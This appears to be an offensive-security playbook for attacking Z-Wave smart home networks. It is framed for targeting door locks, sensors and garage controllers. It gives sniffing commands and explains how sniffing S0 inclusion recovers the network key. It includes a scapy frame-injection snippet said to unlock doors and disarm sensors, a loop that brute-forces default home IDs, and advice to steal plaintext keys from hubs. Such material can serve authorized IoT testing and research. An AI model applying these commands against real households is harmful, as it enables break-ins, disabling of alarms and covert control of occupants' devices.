Assess Z-Wave smart home security by examining captured traffic, distinguishing S0 and S2 security schemes, and reviewing authentication, key exchange, and hub weaknesses. Organize findings by device, firmware, and security mode.
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Z-Wave attack methodology — sniffing with Z-Force / EZ-Wave / RTL-SDR + ZniffMobile, S0 (legacy) network-key derivation flaw and key reuse, S2 (modern) ECDH commissioning analysis, replay/injection on unauthenticated nodes, default-key brute-force on test deployments, and home-automation hub pivots. Use when targeting Z-Wave smart home devices (door locks, sensors, garage controllers) — common in mid-2010s smart home deployments still in production.
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Z-Wave runs in the 800/900 MHz ISM band (US: 908 MHz, EU: 868 MHz). Older networks used the S0 security scheme with a fixed-derivation network key — long-known to be flawed. S2 (mandatory for Z-Wave Plus v2 since 2017) uses ECDH commissioning and is significantly stronger.
| Adapter | Use |
|---|---|
| Z-Force (legacy, hard to find) | Original research tool |
| EZ-Wave (custom HackRF firmware) | Modern, full transceiver |
| Aeotec Z-Stick | Commercial controller, useful as legitimate node |
| HackRF + open Z-Wave firmware | Multi-band SDR approach |
| RTL-SDR + ZniffMobile (passive only) | Cheap sniffer |
# EZ-Wave (HackRF firmware-based)
git clone https://github.com/cureHsu/EZ-Wave
ezwave-sniff -f 908.4MHz -o capture.pcap
# Wireshark with the Z-Wave dissector parses captured frames
wireshark capture.pcap
Look for the inclusion phase (controller adding new device) — that's where the network key is exchanged.
S0 derives the network key from a fixed all-zero PSK during the inclusion of the first device. That fixed material is well-known — any S0 network you sniff during inclusion can be decrypted offline.
S0 commissioning:
1. New node joins → controller sends key with zero-PSK encryption
2. Attacker sniffs commissioning frame → derives session key
3. All future S0 traffic on that network is decryptable
If you can:
You own the network key for that mesh.
S2 fixes S0 by using ECDH for commissioning:
S2 attack surface is mostly implementation:
Many low-end Z-Wave devices (older sensors, basic switches) don't enforce S0 or S2 — they accept commands in cleartext.
# scapy-zwave (community fork) for crafted frames
from scapy.contrib.zwave import *
frame = ZWave(home_id=0x12345678)/ZWaveBasic(set_value=0xff)
sendp(frame, iface='ezwave0')
This unlocks doors / switches lights / unarms sensors when the target lacks authentication.
For old test deployments using default home IDs / network keys:
# Try default home IDs
for hid in 0x00000000 0x12345678 ...; do
ezwave-test --home-id $hid --target-node 1
done
Hit rate on production is low; useful only for default-config IoT lab gear.
Z-Wave devices are typically controlled by a hub (SmartThings, Hubitat, Vera, Home Assistant, Z-Wave JS UI). The hub is a Linux device with the Z-Wave PSK in plaintext storage:
~/.homeassistant/zwave_js.json typically contains keysCompromise the hub → walk away with the Z-Wave PSK + every paired device's command authority. See offensive-iot for hub firmware extraction.
# 1. Identify region + frequency
# US: 908.4 MHz; EU: 868.4 MHz; CN: 868.4 MHz
# 2. Sniff
ezwave-sniff -f 908.4MHz -o cap.pcap
wireshark cap.pcap # filter zwave
# 3. Identify S0 vs S2 from frame format
# 4. For S0: capture inclusion → derive key → decrypt history + control devices
# 5. For S2: focus on hub compromise / DSK theft / implementation bugs
# 6. Test unauthenticated cleartext devices with crafted frames
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